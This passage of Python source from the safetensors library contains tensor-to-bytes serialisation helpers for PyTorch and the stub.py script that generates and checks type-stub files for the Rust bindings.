arr = torch.from_numpy(arr.numpy().byteswap(inplace=False))
result[k] = arr
return result
def _tobytes(tensor: torch.Tensor, name: str) -> bytes:
if tensor.layout != torch.strided:
raise ValueError(f'You are trying to save a sparse tensor: `{name}` which this library does not support. You can make it a dense tensor before saving with `.to_dense()` but be aware this might make a much larger file than needed.')
if not tensor.is_contiguous():
raise ValueError(f"You are trying to save a non contiguous tensor: `{name}` which is not allowed. It either means you are trying to save tensors which are reference of each other in which case it's recommended to save only the full tensors, and reslice at load time, or simply call `.contiguous()` on your tensor to pack it before saving.")
if tensor.device.type != 'cpu':
tensor = tensor.to('cpu')
import ctypes
import numpy as np
length = int(np.prod(tensor.shape).item())
bytes_per_item = _SIZE[tensor.dtype]
total_bytes = length * bytes_per_item
ptr = tensor.data_ptr()
if ptr == 0:
return b''
newptr = ctypes.cast(ptr, ctypes.POINTER(ctypes.c_ubyte))
data = np.ctypeslib.as_array(newptr, (total_bytes,))
if sys.byteorder == 'big':
NPDTYPES = {torch.int64: np.int64, torch.float32: np.float32, torch.int32: np.int32, torch.bfloat16: np.float16, torch.float16: np.float16, torch.int16: np.int16, torch.uint8: np.uint8, torch.int8: np.int8, torch.bool: bool, torch.float64: np.float64, _float8_e4m3fn: np.uint8, _float8_e5m2: np.uint8}
npdtype = NPDTYPES[tensor.dtype]
data = data.view(npdtype).byteswap(inplace=False)
return data.tobytes()
def _flatten(tensors: Dict[str, torch.Tensor]) -> Dict[str, Dict[str, Any]]:
if not isinstance(tensors, dict):
raise ValueError(f'Expected a dict of [str, torch.Tensor] but received {type(tensors)}')
invalid_tensors = []
for (k, v) in tensors.items():
if not isinstance(v, torch.Tensor):
raise ValueError(f'Key `{k}` is invalid, expected torch.Tensor but received {type(v)}')
if v.layout != torch.strided:
invalid_tensors.append(k)
if invalid_tensors:
raise ValueError(f'You are trying to save a sparse tensors: `{invalid_tensors}` which this library does not support. You can make it a dense tensor before saving with `.to_dense()` but be aware this might make a much larger file than needed.')
shared_pointers = _find_shared_tensors(tensors)
failing = []
for names in shared_pointers:
if len(names) > 1:
failing.append(names)
if failing:
raise RuntimeError(f'\n Some tensors share memory, this will lead to duplicate memory on disk and potential differences when loading them again: {failing}.\n A potential way to correctly save your model is to use `save_model`.\n More information at https://huggingface.co/docs/safetensors/torch_shared_tensors\n ')
return {k: {'dtype': str(v.dtype).split('.')[-1], 'shape': v.shape, 'data': _tobytes(v, k)} for (k, v) in tensors.items()}
# File: safetensors-main/bindings/python/stub.py
import argparse
import inspect
import os
import black
INDENT = ' ' * 4
GENERATED_COMMENT = '# Generated content DO NOT EDIT\n'
def do_indent(text: str, indent: str):
return text.replace('\n', f'\n{indent}')
def function(obj, indent, text_signature=None):
if text_signature is None:
text_signature = obj.__text_signature__
string = ''
string += f'{indent}def {obj.__name__}{text_signature}:\n'
indent += INDENT
string += f'{indent}"""\n'
string += f'{indent}{do_indent(obj.__doc__, indent)}\n'
string += f'{indent}"""\n'
string += f'{indent}pass\n'
string += '\n'
string += '\n'
return string
def member_sort(member):
if inspect.isclass(member):
value = 10 + len(inspect.getmro(member))
else:
value = 1
return value
def fn_predicate(obj):
value = inspect.ismethoddescriptor(obj) or inspect.isbuiltin(obj)
if value:
return obj.__doc__ and obj.__text_signature__ and (not obj.__name__.startswith('_'))
if inspect.isgetsetdescriptor(obj):
return obj.__doc__ and (not obj.__name__.startswith('_'))
return False
def get_module_members(module):
members = [member for (name, member) in inspect.getmembers(module) if not name.startswith('_') and (not inspect.ismodule(member))]
members.sort(key=member_sort)
return members
def pyi_file(obj, indent=''):
string = ''
if inspect.ismodule(obj):
string += GENERATED_COMMENT
members = get_module_members(obj)
for member in members:
string += pyi_file(member, indent)
elif inspect.isclass(obj):
indent += INDENT
mro = inspect.getmro(obj)
if len(mro) > 2:
inherit = f'({mro[1].__name__})'
else:
inherit = ''
string += f'class {obj.__name__}{inherit}:\n'
body = ''
if obj.__doc__:
body += f'{indent}"""\n{indent}{do_indent(obj.__doc__, indent)}\n{indent}"""\n'
fns = inspect.getmembers(obj, fn_predicate)
if obj.__text_signature__:
body += f'{indent}def __init__{obj.__text_signature__}:\n'
body += f'{indent + INDENT}pass\n'
body += '\n'
for (name, fn) in fns:
body += pyi_file(fn, indent=indent)
if not body:
body += f'{indent}pass\n'
string += body
string += '\n\n'
elif inspect.isbuiltin(obj):
string += f'{indent}@staticmethod\n'
string += function(obj, indent)
elif inspect.ismethoddescriptor(obj):
string += function(obj, indent)
elif inspect.isgetsetdescriptor(obj):
string += f'{indent}@property\n'
string += function(obj, indent, text_signature='(self)')
else:
raise Exception(f'Object {obj} is not supported')
return string
def py_file(module, origin):
members = get_module_members(module)
string = GENERATED_COMMENT
string += f'from .. import {origin}\n'
string += '\n'
for member in members:
name = member.__name__
string += f'{name} = {origin}.{name}\n'
return string
def do_black(content, is_pyi):
mode = black.Mode(target_versions={black.TargetVersion.PY35}, line_length=119, is_pyi=is_pyi, string_normalization=True, experimental_string_processing=False)
try:
return black.format_file_contents(content, fast=True, mode=mode)
except black.NothingChanged:
return content
def write(module, directory, origin, check=False):
submodules = [(name, member) for (name, member) in inspect.getmembers(module) if inspect.ismodule(member)]
filename = os.path.join(directory, '__init__.pyi')
pyi_content = pyi_file(module)
pyi_content = do_black(pyi_content, is_pyi=True)
os.makedirs(directory, exist_ok=True)
if check:
with open(filename, 'r') as f:
data = f.read()
assert data == pyi_content, f'The content of {filename} seems outdated, please run `python stub.py`'
else:
with open(filename, 'w') as f:
f.write(pyi_content)
filename = os.path.join(directory, '__init__.py')
py_content = py_file(module, origin)
py_content = do_black(py_content, is_pyi=False)
os.makedirs(directory, exist_ok=True)
is_auto = False
if not os.path.exists(filename):
is_auto = True
else:
with open(filename, 'r') as f:
line = f.readline()
if line == GENERATED_COMMENT:
is_auto = True
if is_auto:
if check:
with open(filename, 'r') as f:
data = f.read()
assert data == py_content, f'The content of {filename} seems outdated, please run `python stub.py`'
else:
with open(filename, 'w') as f:
f.write(py_content)
for (name, submodule) in submodules:
write(submodule, os.path.join(directory, name), f'{name}', check=check)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--check', action='store_true')
args = parser.parse_args()
import safetensors
write(safetensors.safetensors_rust, 'py_src/safetensors/', 'safetensors', check=args.check)